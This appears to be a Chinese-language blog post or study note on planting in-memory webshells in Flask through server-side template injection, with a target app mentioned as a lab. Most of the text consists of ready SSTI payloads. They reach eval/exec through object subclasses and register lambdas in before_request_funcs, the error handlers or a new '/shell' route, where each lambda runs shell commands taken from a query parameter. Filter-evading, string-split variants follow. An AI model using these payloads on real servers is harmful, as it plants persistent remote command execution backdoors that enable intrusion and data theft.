flask_ssti内存马
内存马
https://www.cnblogs.com/gxngxngxn/p/18181936
这里的内存不是二进制那些高深的概念
就是改变某些在请求过程中,
会起到作用的属性和方法,从而达到我们的目的
写内存马的前提不同于文件马
需要实现的是代码执行而不是文件读写
利用脚本找出ssti中存在的eval
import requests |
那么我们就成功拿到了一个代码执行的payload
().__class__.__base__.__subclasses__()[104].__init__.__globals__.__builtins__.eval('print(0)') |
获取回显的方式

示例:before_request
靶场源码:
from flask import Flask, request, render_template_string |
获取到app(Flask对象)
使用Python的内置核心模块sys来获取
sys是Python 的一个内置核心模块, |
payload:
__import__('sys').modules['__main__'].__dict__['app'] |
当然如果变量名不是约定俗成的app就要通过别的方法来获取
flask<2.1.3 || 3.0 < flask
url_for.__globals__['current_app'] |
2.3<flask<3.0
get_flashed_messages.__globals__['current_app'] |
获取定制回显
使用before_request钩子的场景
https://geek-docs.com/flask/flask-questions/69_flask_python_flask_after_request_and_before_request_for_a_specific_set_of_request.html
from flask import Flask, request |
源码:
|
before_request_funcs数据类型
self.before_request_funcs: dict[ |
print出来看一下
defaultdict(<class 'list'>, {None: [<function a at 0x000001CF00494D60>, <function a at 0x000001CF00652160>]}) |
这里使用到的是defaultdict默认字典
作用是访问不存在的键时自动创建一个默认值
setdefault(key, default_value) 的作用:
- 它会先在字典中查找你提供的
key。 - 如果
key存在,它就直接返回这个key对应的value。 - 如果
key不存在,它会先将default_value设置为这个新key的值,**然后再返回这个default_value**。
也就是说编写在用户自己的应用里的before_request函数,
会作为一个函数(f)添加进before_request_funcs里
这些函数会在请求进入真正的接口前执行
如果这些函数没有返回值(None)则成功进入接口
否则回显对应的返回值,那我们就可以使用lambda表达式定制自己的回显了
payload:
app.before_request_funcs.setdefault(None, []).append(lambda :xxx) |
配合ssti写入内存马
把上述的获取方式拼接一下得到内存马的payload:
eval("__import__('sys').modules['__main__'].__dict__['app'].before_request_funcs.setdefault(None, []).append(lambda :__import__('os').popen(request.args.get('ivory')).read())") |
结合上面到eval的payload,拼起来就是:
{{().__class__.__base__.__subclasses__()[104].__init__.__globals__.__builtins__.eval("__import__('sys').modules['__main__'].__dict__['app'].before_request_funcs.setdefault(None, []).append(lambda :__import__('os').popen(request.args.get('ivory')).read())")}} |
但是利用这个payload会出现报错
因为外面的flask并不在 lambda函数的执行环境中
所以接收命令的部分需要额外加一个import
__import__('flask').request.args.get('ivory') |
最终payload:
{{().__class__.__base__.__subclasses__()[104].__init__.__globals__.__builtins__.eval("__import__('sys').modules['__main__'].__dict__['app'].before_request_funcs.setdefault(None, []).append(lambda :__import__('os').popen(__import__('flask').request.args.get('ivory')).read())")}} |
get_flashed_messages.__globals__['current_app'] |
{{().__class__.__base__.__subclasses__()[104].__init__.__globals__.__builtins__.eval("app.before_request_funcs.setdefault(None, []).append(lambda :__import__('os').popen(__import__('flask').request.args.get('ivory')).read())",{'app':get_flashed_messages.__globals__['current_app']})}} |
Errorhandle
在pickle反序列化中直接exec的方法:
exec("global exc_class;global code;exc_class, code = app._get_exc_class_and_code(404);app.error_handler_spec[None][code][exc_class] = lambda a:__import__('os').popen(request.args.get('gxngxngxn')).read()") |
重复上述的过程构造ssti
import requests |
104依旧可以使用
{{().__class__.__base__.__subclasses__()[104].__init__.__globals__.__builtins__.exec('print(0)')}} |
填入
{{().__class__.__base__.__subclasses__()[104].__init__.__globals__.__builtins__.exec("app=__import__('sys').modules['__main__'].__dict__['app'];exc_class, code = app._get_exc_class_and_code(404);app.error_handler_spec[None][code][exc_class] = lambda a:__import__('os').popen(__import__('flask').request.args.get('ivory')).read()")}} |
需要注意的是这里需要去掉两个global声明
因为pickle.loads()在主环境中执行,而ssti则是一个临时的环境
更进一步
经过对上面这两个钩子函数利用的学习
我发现新版内存马的底层逻辑就是复现钩子函数的底层逻辑
这样就可以绕过装饰器setupmethod
{{self.__init__.__globals__.__builtins__.exec("app = __import__('sys').modules['__main__'].__dict__['app']; rule = app.url_rule_class('/shell', endpoint='shell', methods={'GET'}); app.url_map.add(rule); app.view_functions['shell'] = lambda: __import__('os').popen(__import__('flask').request.args.get('ivory')).read()")}} |
后来找找已经有人发过了
https://www.caterpie771.cn/archives/308?utm_source=chatgpt.com#flask%3E213
{{().__class__.__base__.__subclasses__()[104].__init__.__globals__.__builtins__.exec("app = __import__('sys').modules['__main__'].__dict__['app']; rule = app.url_rule_class('/shell', endpoint='shell', methods={'GET'}); app.url_map.add(rule); app.view_functions['shell'] = lambda: __import__('os').popen(__import__('flask').request.args.get('ivory')).read()")}} |
{{(()["__cl"+"ass__"]["__b"+"ase__"]["__subcl"+"asses__"]()[104].__init__ | attr('__glo'+'bals__')).__builtins__.exec("app = __impo"+"rt__('sys').modules['__main__'].__dict__['app']; rule = app.url_rule_class('/shell', endpoint='shell', methods={'GET'}); app.url_map.add(rule); app.view_functions['shell'] = lambda: __imp"+"ort__('os').popen(__imp"+"ort__('flask').request.args.get('ivory')).read();'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa';")}} |
{{()["__cl"+"ass__"]["__b"+"ase__"]["__subcl"+"asses__"]()[104].__init__ | attr('__glo'+'bals__')).__builtins__.exec("__imp"+"ort__('sys').modules['__main__'].__dict__['app'].before_request_funcs.setdefault(None, []).append(lambda :__imp"+"ort__('os').popen(__imp"+"ort__('flask').request.args.get('ivory')).read())")}} |
{{aaa.__init__.__globals__.__builtins__.exec("__import__('os').popen(__import__('flask').request.args.get('ivory')).read()")}} |



